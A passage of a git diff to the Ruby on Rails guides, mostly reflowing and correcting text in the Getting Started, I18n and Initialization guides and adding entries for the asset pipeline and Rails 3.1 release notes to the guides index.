+CommentsController+. -So first, let's add the delete link in the +app/views/comments/_comment.html.erb+ partial: +So first, let's add the delete link in the ++app/views/comments/_comment.html.erb+ partial: <erb> <p> @@ -1152,7 +1544,10 @@ So first, let's add the delete link in the +app/views/comments/_comment.html.erb </p> </erb> -Clicking this new "Destroy Comment" link will fire off a <tt>DELETE /posts/:id/comments/:id</tt> to our +CommentsController+, which can then use this to find the comment we want to delete, so let's add a destroy action to our controller: +Clicking this new "Destroy Comment" link will fire off a <tt>DELETE +/posts/:id/comments/:id</tt> to our +CommentsController+, which can then use +this to find the comment we want to delete, so let's add a destroy action to our +controller: <ruby> class CommentsController < ApplicationController @@ -1173,12 +1568,17 @@ class CommentsController < ApplicationController end </ruby> -The +destroy+ action will find the post we are looking at, locate the comment within the <tt>@post.comments</tt> collection, and then remove it from the database and send us back to the show action for the post. +The +destroy+ action will find the post we are looking at, locate the comment +within the <tt>@post.comments</tt> collection, and then remove it from the +database and send us back to the show action for the post. h4. Deleting Associated Objects -If you delete a post then its associated comments will also need to be deleted. Otherwise they would simply occupy space in the database. Rails allows you to use the +dependent+ option of an association to achieve this. Modify the Post model, +app/models/post.rb+, as follows: +If you delete a post then its associated comments will also need to be deleted. +Otherwise they would simply occupy space in the database. Rails allows you to +use the +dependent+ option of an association to achieve this. Modify the Post +model, +app/models/post.rb+, as follows: <ruby> class Post < ActiveRecord::Base @@ -1191,18 +1591,25 @@ end h3. Security -If you were to publish your blog online, anybody would be able to add, edit and delete posts or delete comments. +If you were to publish your blog online, anybody would be able to add, edit and +delete posts or delete comments. -Rails provides a very simple HTTP authentication system that will work nicely in this situation. +Rails provides a very simple HTTP authentication system that will work nicely in +this situation. -In the +PostsController+ we need to have a way to block access to the various actions if the person is not authenticated, here we can use the Rails <tt>http_basic_authenticate_with</tt> method, allowing access to the requested action if that method allows it. +In the +PostsController+ we need to have a way to block access to the various +actions if the person is not authenticated, here we can use the Rails +<tt>http_basic_authenticate_with</tt> method, allowing access to the requested +action if that method allows it. -To use the authentication system, we specify it at the top of our +PostsController+, in this case, we want the user to be authenticated on every action, except for +index+ and +show+, so we write that: +To use the authentication system, we specify it at the top of our ++PostsController+, in this case, we want the user to be authenticated on every +action, except for +index+ and +show+, so we write that: <ruby> class PostsController < ApplicationController - http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index + http_basic_authenticate_with :name => "dhh", :password => "secret", :except => [:index, :show] # GET /posts # GET /posts.json @@ -1212,7 +1619,8 @@ class PostsController < ApplicationController # snipped for brevity </ruby> -We also only want to allow authenticated users to delete comments, so in the +CommentsController+ we write: +We also only want to allow authenticated users to delete comments, so in the ++CommentsController+ we write: <ruby> class CommentsController < ApplicationController @@ -1224,16 +1632,20 @@ class CommentsController < ApplicationController # snipped for brevity </ruby> -Now if you try to create a new post, you will be greeted with a basic HTTP Authentication challenge +Now if you try to create a new post, you will be greeted with a basic HTTP +Authentication challenge !images/challenge.png(Basic HTTP Authentication Challenge)! - h3. Building a Multi-Model Form -Another feature of your average blog is the ability to tag posts. To implement this feature your application needs to interact with more than one model on a single form. Rails offers support for nested forms. +Another feature of your average blog is the ability to tag posts. To implement +this feature your application needs to interact with more than one model on a +single form. Rails offers support for nested forms. -To demonstrate this, we will add support for giving each post multiple tags, right in the form where you create the post. First, create a new model to hold the tags: +To demonstrate this, we will add support for giving each post multiple tags, +right in the form where you create the post. First, create a new model to hold +the tags: <shell> $ rails generate model tag name:string post:references @@ -1245,7 +1657,9 @@ Again, run the migration to create the database table: $ rake db:migrate </shell> -Next, edit the +post.rb+ file to create the other side of the association, and to tell Rails (via the +accepts_nested_attributes_for+ macro) that you intend to edit tags via posts: +Next, edit the +post.rb+ file to create the other side of the association, and +to tell Rails (via the +accepts_nested_attributes_for+ macro) that you intend to +edit tags via posts: <ruby> class Post < ActiveRecord::Base @@ -1261,7 +1675,10 @@ class Post < ActiveRecord::Base end </ruby> -The +:allow_destroy+ option on the nested attribute declaration tells Rails to display a "remove" checkbox on the view that you'll build shortly. The +:reject_if+ option prevents saving new tags that do not have any attributes filled in. +The +:allow_destroy+ option on the nested attribute declaration tells Rails to +display a "remove" checkbox on the view that you'll build shortly. The ++:reject_if+ option prevents saving new tags that do not have any attributes +filled in. We will modify +views/posts/_form.html.erb+ to render a partial to make a tag: @@ -1300,13 +1717,20 @@ We will modify +views/posts/_form.html.erb+ to render a partial to make a tag: <% end %> </erb> -Note that we have changed the +f+ in +form_for(@post) do |f|+ to +post_form+ to make it easier to understand what is going on. +Note that we have changed the +f+ in +form_for(@post) do |f|+ to +post_form+ to +make it easier to understand what is going on. -This example shows another option of the render helper, being able to pass in local variables, in this case, we want the local variable +form+ in the partial to refer to the +post_form+ object. +This example shows another option of the render helper, being able to pass in +local variables, in this case, we want the local variable +form+ in the partial +to refer to the +post_form+ object. -We also add a <tt>@post.tags.build</tt> at the top of this form, this is to make sure there is a new tag ready to have it's name filled in by the user. If you do not build the new tag, then the form will not appear as there is no new Tag object ready to create. +We also add a <tt>@post.tags.build</tt> at the top of this form. This is to make +sure there is a new tag ready to have its name filled in by the user. If you do +not build the new tag, then the form will not appear as there is no new Tag +object ready to create. -Now create the folder <tt>app/views/tags</tt> and make a file in there called <tt>_form.html.erb</tt> which contains the form for the tag: +Now create the folder <tt>app/views/tags</tt> and make a file in there called +<tt>_form.html.erb</tt> which contains the form for the tag: <erb> <%= form.fields_for :tags do |tag_form| %> @@ -1323,7 +1747,8 @@ Now create the folder <tt>app/views/tags</tt> and make a file in there called <t <% end %> </erb> -Finally, we will edit the <tt>app/views/posts/show.html.erb</tt> template to show our tags. +Finally, we will edit the <tt>app/views/posts/show.html.erb</tt> template to +show our tags. <erb> <p class="notice"><%= notice %></p> @@ -1359,13 +1784,18 @@ Finally, we will edit the <tt>app/views/posts/show.html.erb</tt> template to sho <%= link_to 'Back to Posts', posts_path %> | </erb> -With these changes in place, you'll find that you can edit a post and its tags directly on the same view. +With these changes in place, you'll find that you can edit a post and its tags +directly on the same view. -However, that method call <tt>@post.tags.map { |t| t.name }.join(", ")</tt> is awkward, we could handle this by making a helper method. +However, that method call <tt>@post.tags.map { |t| t.name }.join(", ")</tt> is +awkward, we could handle this by making a helper method. h3. View Helpers -View Helpers live in <tt>app/helpers</tt> and provide small snippets of reusable code for views. In our case, we want a method that strings a bunch of objects together using their name attribute and joining them with a comma. As this is for the Post show template, we put it in the PostsHelper. +View Helpers live in <tt>app/helpers</tt> and provide small snippets of reusable +code for views. In our case, we want a method that strings a bunch of objects +together using their name attribute and joining them with a comma. As this is +for the Post show template, we put it in the PostsHelper. Open up <tt>app/helpers/posts_helper.rb</tt> and add the following: @@ -1377,7 +1807,8 @@ module PostsHelper end </erb> -Now you can edit the view in <tt>app/views/posts/show.html.erb</tt> to look like this: +Now you can edit the view in <tt>app/views/posts/show.html.erb</tt> to look like +this: <erb> <p class="notice"><%= notice %></p> @@ -1415,7 +1846,10 @@ Now you can edit the view in <tt>app/views/posts/show.html.erb</tt> to look like h3. What's Next? -Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources: +Now that you've seen your first Rails application, you should feel free to +update it and experiment on your own. But you don't have to do everything +without help. As you need assistance getting up and running with Rails, feel +free to consult these support resources: * The "Ruby on Rails guides":index.html * The "Ruby on Rails Tutorial":http://railstutorial.org/book @@ -1430,9 +1864,18 @@ Rails also comes with built-in help that you can generate using the rake command h3. Configuration Gotchas -The easiest way to work with Rails is to store all external data as UTF-8. If you don't, Ruby libraries and Rails will often be able to convert your native data into UTF-8, but this doesn't always work reliably, so you're better off ensuring that all external data is UTF-8. +The easiest way to work with Rails is to store all external data as UTF-8. If +you don't, Ruby libraries and Rails will often be able to convert your native +data into UTF-8, but this doesn't always work reliably, so you're better off +ensuring that all external data is UTF-8. -If you have made a mistake in this area, the most common symptom is a black diamond with a question mark inside appearing in the browser. Another common symptom is characters like "ü" appearing instead of "ü". Rails takes a number of internal steps to mitigate common causes of these problems that can be automatically detected and corrected. However, if you have external data that is not stored as UTF-8, it can occasionally result in these kinds of issues that cannot be automatically detected by Rails and corrected. +If you have made a mistake in this area, the most common symptom is a black +diamond with a question mark inside appearing in the browser. Another common +symptom is characters like "ü" appearing instead of "ü". Rails takes a number +of internal steps to mitigate common causes of these problems that can be +automatically detected and corrected. However, if you have external data that is +not stored as UTF-8, it can occasionally result in these kinds of issues that +cannot be automatically detected by Rails and corrected. Two very common sources of data that are not UTF-8: * Your text editor: Most text editors (such as Textmate), default to saving files as @@ -1447,24 +1890,3 @@ Two very common sources of data that are not UTF-8: is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese character, the data will be lost forever once it enters the database. If possible, use UTF-8 as the internal storage of your database. - -h3. Changelog - -* April 26, 2011: Change migration code from +up+, +down+ pair to +change+ method by "Prem Sichanugrist":http://sikachu.com -* April 11, 2011: Change scaffold_controller generator to create format block for JSON instead of XML by "Sebastian Martinez":http://www.wyeworks.com -* August 30, 2010: Minor editing after Rails 3 release by "Joost Baaij":http://www.spacebabies.nl -* July 12, 2010: Fixes, editing and updating of code samples by "Jaime Iniesta":http://jaimeiniesta.com -* May 16, 2010: Added a section on configuration gotchas to address common encoding problems that people might have by "Yehuda Katz":http://www.yehudakatz.com -* April 30, 2010: Fixes, editing and updating of code samples by "Rohit Arondekar":http://rohitarondekar.com -* April 25, 2010: Couple of more minor fixups by "Mikel Lindsaar":credits.html#raasdnil -* April 1, 2010: Fixed document to validate XHTML 1.0 Strict by "Jaime Iniesta":http://jaimeiniesta.com -* February 8, 2010: Full re-write for Rails 3.0-beta, added helpers and before_filters, refactored code by "Mikel Lindsaar":credits.html#raasdnil -* January 24, 2010: Re-write for Rails 3.0 by "Mikel Lindsaar":credits.html#raasdnil -* July 18, 2009: Minor cleanup in anticipation of Rails 2.3.3 by "Mike Gunderloy":credits.html#mgunderloy -* February 1, 2009: Updated for Rails 2.3 by "Mike Gunderloy":credits.html#mgunderloy -* November 3, 2008: Formatting patch from Dave Rothlisberger -* November 1, 2008: First approved version by "Mike Gunderloy":credits.html#mgunderloy -* October 16, 2008: Revised based on feedback from Pratik Naik by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 13, 2008: First complete draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 12, 2008: More detail, rearrangement, editing by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 8, 2008: initial version by "James Miller":credits.html#bensie (not yet approved for publication) diff --git a/railties/guides/source/i18n.textile b/railties/guides/source/i18n.textile index 608643b3d3..2d4cc13571 100644 --- a/railties/guides/source/i18n.textile +++ b/railties/guides/source/i18n.textile @@ -1,4 +1,4 @@ -lh2. Rails Internationalization (I18n) API +h2. Rails Internationalization (I18n) API The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application. @@ -8,15 +8,15 @@ So, in the process of _internationalizing_ your Rails application you have to: * Ensure you have support for i18n * Tell Rails where to find locale dictionaries -* Tell Rails how to set, preserve and switch locale +* Tell Rails how to set, preserve and switch locales In the process of _localizing_ your application you'll probably want to do the following three things: -* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc +* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc. * Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc. * Store the resulting dictionaries somewhere -This guide will walk you through the I18n API and contains a tutorial how to internationalize a Rails application from the start. +This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start. endprologue. @@ -91,7 +91,7 @@ This means, that in the +:en+ locale, the key _hello_ will map to the _Hello wor The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations. -NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cz+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it. +NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-GB+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cs+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-GB+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-GB+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it. The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. @@ -365,6 +365,19 @@ NOTE: You need to restart the server when you add new locale files. You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.) +h4. Passing variables to translations + +You can use variables in the translation messages and pass their values from the view. + +<ruby> +# app/views/home/index.html.erb +<%=t 'greet_username', :user => "Bill", :message => "Goodbye" %> + +# config/locales/en.yml +en: + greet_username: "%{message}, %{user}!" +</ruby> + h4. Adding Date/Time Formats OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used. @@ -448,6 +461,7 @@ Covered are features like these: * looking up translations * interpolating data into translations * pluralizing translations +* using safe HTML translations * localizing dates, numbers, currency, etc. h4. Looking up Translations @@ -599,6 +613,27 @@ The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The I18n.default_locale = :de </ruby> +h4. Using Safe HTML Translations + +Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping. + +<ruby> +# config/locales/en.yml +en: + welcome: <b>welcome!</b> + hello_html: <b>hello!</b> + title: + html: <b>title!</b> + +# app/views/home/index.html.erb +<div><%= t('welcome') %></div> +<div><%= raw t('welcome') %></div> +<div><%= t('hello_html') %></div> +<div><%= t('title.html') %></div> +</ruby> + +!images/i18n/demo_html_safe.png(i18n demo html safe)! + h3. How to Store your Custom Translations The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2] @@ -796,7 +831,6 @@ h5. Active Support Methods * +Array#to_sentence+ uses format settings as given in the "support.array":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope. - h3. Customize your I18n Setup h4. Using Different Backends @@ -809,7 +843,7 @@ That does not mean you're stuck with these limitations, though. The Ruby I18n ge I18n.backend = Globalize::Backend::Static.new </ruby> -You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the ActiveRecord backend and fall back to the (default) Simple backend: +You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend: <ruby> I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend) diff --git a/railties/guides/source/index.html.erb b/railties/guides/source/index.html.erb index b48488d8a2..c9a8c4fa5c 100644 --- a/railties/guides/source/index.html.erb +++ b/railties/guides/source/index.html.erb @@ -30,7 +30,6 @@ Ruby on Rails Guides <% content_for :index_section do %> <div id="subCol"> <dl> - <dd class="warning">Rails Guides are a result of the ongoing <a href="http://hackfest.rubyonrails.org">Guides hackfest</a>, and a work in progress.</dd> <dd class="work-in-progress">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections to the author.</dd> </dl> </div> @@ -124,13 +123,17 @@ Ruby on Rails Guides <p>This guide covers the basic configuration settings for a Rails application.</p> <% end %> -<%= guide("Rails Command Line Tools and Rake tasks", 'command_line.html', :work_in_progress => true) do %> +<%= guide("Rails Command Line Tools and Rake tasks", 'command_line.html') do %> <p>This guide covers the command line tools and rake tasks provided by Rails.</p> <% end %> <%= guide("Caching with Rails", 'caching_with_rails.html', :work_in_progress => true) do %> <p>Various caching techniques provided by Rails.</p> <% end %> + +<%= guide('Asset Pipeline', 'asset_pipeline.html') do %> + <p>This guide documents the asset pipeline.</p> +<% end %> </dl> <h3>Extending Rails</h3> @@ -170,6 +173,10 @@ Ruby on Rails Guides <h3>Release Notes</h3> <dl> +<%= guide("Ruby on Rails 3.1 Release Notes", '3_1_release_notes.html') do %> + <p>Release notes for Rails 3.1.</p> +<% end %> + <%= guide("Ruby on Rails 3.0 Release Notes", '3_0_release_notes.html') do %> <p>Release notes for Rails 3.0.</p> <% end %> diff --git a/railties/guides/source/initialization.textile b/railties/guides/source/initialization.textile index 638830cd83..f88405a2fd 100644 --- a/railties/guides/source/initialization.textile +++ b/railties/guides/source/initialization.textile @@ -1,13 +1,13 @@ h2. The Rails Initialization Process -This guide explains the internals of the initialization process in Rails works as of Rails 3.1. It is an extremely in-depth guide and recommended for advanced Rails developers. +This guide explains the internals of the initialization process in Rails as of Rails 3.1. It is an extremely in-depth guide and recommended for advanced Rails developers. * Using +rails server+ * Using Passenger endprologue. -This guide goes through every single file, class and method call that is required to boot up the Ruby on Rails stack for a default Rails 3.1 application, explaining each part in detail a long the way. For this guide, we will be focusing on how the two most common methods (+rails server+ and Passenger) boot a Rails application. +This guide goes through every single file, class and method call that is required to boot up the Ruby on Rails stack for a default Rails 3.1 application, explaining each part in detail along the way. For this guide, we will be focusing on how the two most common methods (+rails server+ and Passenger) boot a Rails application. NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified. @@ -20,40 +20,40 @@ h4. +bin/rails+ The actual +rails+ command is kept in _bin/rails_ at the and goes like this: <ruby> - #!/usr/bin/env ruby - - begin - require "rails/cli" - rescue LoadError - railties_path = File.expand_path('../../railties/lib', __FILE__) - $:.unshift(railties_path) - require "rails/cli" - end +#!/usr/bin/env ruby + +begin + require "rails/cli" +rescue LoadError + railties_path = File.expand_path('../../railties/lib', __FILE__) + $:.unshift(railties_path) + require "rails/cli" +end </ruby> This file will attempt to load +rails/cli+ and if it cannot find it then add the +railties/lib+ path to the load path (+$:+) and will then try to require it again. -h4. +railites/lib/rails/cli.rb+ +h4. +railties/lib/rails/cli.rb+ This file looks like this: <ruby> - require 'rbconfig' - require 'rails/script_rails_loader' +require 'rbconfig' +require 'rails/script_rails_loader' - # If we are inside a Rails application this method performs an exec and thus - # the rest of this script is not run. - Rails::ScriptRailsLoader.exec_script_rails! +# If we are inside a Rails application this method performs an exec and thus +# the rest of this script is not run. +Rails::ScriptRailsLoader.exec_script_rails! - require 'rails/ruby_version_check' - Signal.trap("INT") { puts; exit } +require 'rails/ruby_version_check' +Signal.trap("INT") { puts; exit } - if ARGV.first == 'plugin' - ARGV.shift - require 'rails/commands/plugin_new' - else - require 'rails/commands/application' - end +if ARGV.first == 'plugin' + ARGV.shift + require 'rails/commands/plugin_new' +else + require 'rails/commands/application' +end </ruby> The +rbconfig+ file here is out of Ruby's standard library and provides us with the +RbConfig+ class which contains useful information dependent on how Ruby was compiled. We'll see this in use in +railties/lib/rails/script_rails_loader+. @@ -71,51 +71,51 @@ module Rails end </ruby> -The +rails/script_rails_loader+ file uses +RbConfig::Config+ to gather up the +bin_dir+ and +ruby_install_name+ values for the configuration which will result in a path such as +/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby+, which is the default path on Mac OS X. If you're running Windows the path may be something such as +C:/Ruby192/bin/ruby+. Anyway, the path on your system may be different, but the point of this is that it will point at the known ruby executable location for your install. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ console, we'll see that when we get to the +in_rails_application?+ method. +The +rails/script_rails_loader+ file uses +RbConfig::Config+ to gather up the +bin_dir+ and +ruby_install_name+ values for the configuration which will result in a path such as +/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby+, which is the default path on Mac OS X. If you're running Windows the path may be something such as +C:/Ruby192/bin/ruby+. Anyway, the path on your system may be different, but the point of this is that it will point at the known ruby executable location for your install. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ constant, we'll see that when we get to the +in_rails_application?+ method. Back in +rails/cli+, the next line is this: <ruby> - Rails::ScriptRailsLoader.exec_script_rails! +Rails::ScriptRailsLoader.exec_script_rails! </ruby> This method is defined in +rails/script_rails_loader+ like this: <ruby> - def self.exec_script_rails! - cwd = Dir.pwd - return unless in_rails_application? || in_rails_application_subdirectory? - exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application? - Dir.chdir("..") do - # Recurse in a chdir block: if the search fails we want to be sure - # the application is generated in the original working directory. - exec_script_rails! unless cwd == Dir.pwd - end - rescue SystemCallError - # could not chdir, no problem just return +def self.exec_script_rails! + cwd = Dir.pwd + return unless in_rails_application? || in_rails_application_subdirectory? + exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application? + Dir.chdir("..") do + # Recurse in a chdir block: if the search fails we want to be sure + # the application is generated in the original working directory. + exec_script_rails! unless cwd == Dir.pwd end +rescue SystemCallError + # could not chdir, no problem just return +end </ruby> This method will first check if the current working directory (+cwd+) is a Rails application or is a subdirectory of one. The way to determine this is defined in the +in_rails_application?+ method like this: <ruby> - def self.in_rails_application? - File.exists?(SCRIPT_RAILS) - end +def self.in_rails_application? + File.exists?(SCRIPT_RAILS) +end </ruby> The +SCRIPT_RAILS+ constant defined earlier is used here, with +File.exists?+ checking for its presence in the current directory. If this method returns +false+, then +in_rails_application_subdirectory?+ will be used: <ruby> - def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd)) - File.exists?(File.join(path, SCRIPT_RAILS)) || !path.root? && in_rails_application_subdirectory?(path.parent) - end +def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd)) + File.exists?(File.join(path, SCRIPT_RAILS)) || !path.root? && in_rails_application_subdirectory?(path.parent) +end </ruby> This climbs the directory tree until it reaches a path which contains a +script/rails+ file. If a directory is reached which contains this file then this line will run: <ruby> - exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application? +exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application? </ruby> This is effectively the same as doing +ruby script/rails [arguments]+. Where +[arguments]+ at this point in time is simply "server". @@ -125,9 +125,9 @@ h4. +script/rails+ This file looks like this: <ruby> - APP_PATH = File.expand_path('../../config/application', __FILE__) - require File.expand_path('../../config/boot', __FILE__) - require 'rails/commands' +APP_PATH = File.expand_path('../../config/application', __FILE__) +require File.expand_path('../../config/boot', __FILE__) +require 'rails/commands' </ruby> The +APP_PATH+ constant here will be used later in +rails/commands+. The +config/boot+ file that +script/rails+ references is the +config/boot.rb+ file in our application which is responsible for loading Bundler and setting it up. @@ -137,19 +137,19 @@ h4. +config/boot.rb+ +config/boot.rb+ contains this: <ruby> - require 'rubygems' +require 'rubygems' - # Set up gems listed in the Gemfile. - gemfile = File.expand_path('../../Gemfile', __FILE__) - begin - ENV['BUNDLE_GEMFILE'] = gemfile - require 'bundler' - Bundler.setup - rescue Bundler::GemNotFound => e - STDERR.puts e.message - STDERR.puts "Try running `bundle install`." - exit! - end if File.exist?(gemfile) +# Set up gems listed in the Gemfile. +gemfile = File.expand_path('../../Gemfile', __FILE__) +begin + ENV['BUNDLE_GEMFILE'] = gemfile + require 'bundler' + Bundler.setup +rescue Bundler::GemNotFound => e + STDERR.puts e.message + STDERR.puts "Try running `bundle install`." + exit! +end if File.exist?(gemfile) </ruby> In a standard Rails application, there's a +Gemfile+ which declares all dependencies of the application. +config/boot.rb+ sets +ENV["BUNDLE_GEMFILE"]+ to the location of this file, then requires Bundler and calls +Bundler.setup+ which adds the dependencies of the application (including all the Rails parts) to the load path, making them available for the application to load. The gems that a Rails 3.1 application depends on are as follows: @@ -186,34 +186,35 @@ h4. +rails/commands.rb+ Once +config/boot.rb+ has finished, the next file that is required is +rails/commands+ which will execute a command based on the arguments passed in. In this case, the +ARGV+ array simply contains +server+ which is extracted into the +command+ variable using these lines: <ruby> - aliases = { - "g" => "generate", - "c" => "console", - "s" => "server", - "db" => "dbconsole" - } +aliases = { + "g" => "generate", + "c" => "console", + "s" => "server", + "db" => "dbconsole", + "r" => "runner" +} - command = ARGV.shift - command = aliases[command] || command +command = ARGV.shift +command = aliases[command] || command </ruby> If we used <tt>s</tt> rather than +server+, Rails will use the +aliases+ defined in the file and match them to their respective commands. With the +server+ command, Rails will run this code: <ruby> - when 'server' - # Change to the application's path if there is no config.ru file in current dir. - # This allows us to run script/rails server from other directories, but still get - # the main config.ru and properly set the tmp directory. - Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru")) - - require 'rails/commands/server' - Rails::Server.new.tap { |server| - # We need to require application after the server sets environment, - # otherwise the --environment option given to the server won't propagate. - require APP_PATH - Dir.chdir(Rails.application.root) - server.start - } +when 'server' + # Change to the application's path if there is no config.ru file in current dir. + # This allows us to run script/rails server from other directories, but still get + # the main config.ru and properly set the tmp directory. + Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru")) + + require 'rails/commands/server' + Rails::Server.new.tap { |server| + # We need to require application after the server sets environment, + # otherwise the --environment option given to the server won't propagate. + require APP_PATH + Dir.chdir(Rails.application.root) + server.start + } </ruby> This file will change into the root of the directory (a path two directories back from +APP_PATH+ which points at +config/application.rb+), but only if the +config.ru+ file isn't found. This then requires +rails/commands/server+ which requires +action_dispatch+ and sets up the +Rails::Server+ class. @@ -239,10 +240,10 @@ The +methods.rb+ file is responsible for defining methods such as +camelize+, +u In this file there are a lot of lines such as this inside the +ActiveSupport+ module: <ruby> - autoload :Inflector +autoload :Inflector </ruby> -Due to the overriding of the +autoload+ method, Ruby will know to look for this file at +activesupport/lib/active_support/inflector.rb+ when the +Inflector+ class is first referenced. +Due to the overriding of the +autoload+ method, Ruby will know how to look for this file at +activesupport/lib/active_support/inflector.rb+ when the +Inflector+ class is first referenced. The +active_support/lib/active_support/version.rb+ that is also required here simply defines an +ActiveSupport::VERSION+ constant which defines a couple of constants inside this module, the main constant of this is +ActiveSupport::VERSION::STRING+ which returns the current version of ActiveSupport. @@ -263,10 +264,10 @@ h4. +rails/commands/server.rb+ The +Rails::Server+ class is defined in this file as inheriting from +Rack::Server+. When +Rails::Server.new+ is called, this calls the +initialize+ method in +rails/commands/server.rb+: <ruby> - def initialize(*) - super - set_environment - end +def initialize(*) + super + set_environment +end </ruby> Firstly, +super+ is called which calls the +initialize+ method on +Rack::Server+. @@ -278,10 +279,10 @@ h4. Rack: +lib/rack/server.rb+ The +initialize+ method in +Rack::Server+ simply sets a couple of variables: <ruby> - def initialize(options = nil) - @options = options - @app = options[:app] if options && options[:app] - end +def initialize(options = nil) + @options = options + @app = options[:app] if options && options[:app] +end </ruby> In this case, +options+ will be +nil+ so nothing happens in this method. @@ -289,69 +290,69 @@ In this case, +options+ will be +nil+ so nothing happens in this method. After +super+ has finished in +Rack::Server+, we jump back to +rails/commands/server.rb+. At this point, +set_environment+ is called within the context of the +Rails::Server+ object and this method doesn't appear to do much at first glance: <ruby> - def set_environment - ENV["RAILS_ENV"] ||= options[:environment] - end +def set_environment + ENV["RAILS_ENV"] ||= options[:environment] +end </ruby> In fact, the +options+ method here does quite a lot. This method is defined in +Rack::Server+ like this: <ruby> - def options - @options ||= parse_options(ARGV) - end +def options + @options ||= parse_options(ARGV) +end </ruby> Then +parse_options+ is defined like this: <ruby> - def parse_options(args) - options = default_options +def parse_options(args) + options = default_options - # Don't evaluate CGI ISINDEX parameters. - # http://hoohoo.ncsa.uiuc.edu/cgi/cl.html - args.clear if ENV.include?("REQUEST_METHOD") + # Don't evaluate CGI ISINDEX parameters. + # http://hoohoo.ncsa.uiuc.edu/cgi/cl.html + args.clear if ENV.include?("REQUEST_METHOD") - options.merge! opt_parser.parse! args - options[:config] = ::File.expand_path(options[:config]) - ENV["RACK_ENV"] = options[:environment] - options - end + options.merge! opt_parser.parse! args + options[:config] = ::File.expand_path(options[:config]) + ENV["RACK_ENV"] = options[:environment] + options +end </ruby> With the +default_options+ set to this: <ruby> - def default_options - { - :environment => ENV['RACK_ENV'] || "development", - :pid => nil, - :Port => 9292, - :Host => "0.0.0.0", - :AccessLog => [], - :config => "config.ru" - } - end +def default_options + { + :environment => ENV['RACK_ENV'] || "development", + :pid => nil, + :Port => 9292, + :Host => "0.0.0.0", + :AccessLog => [], + :config 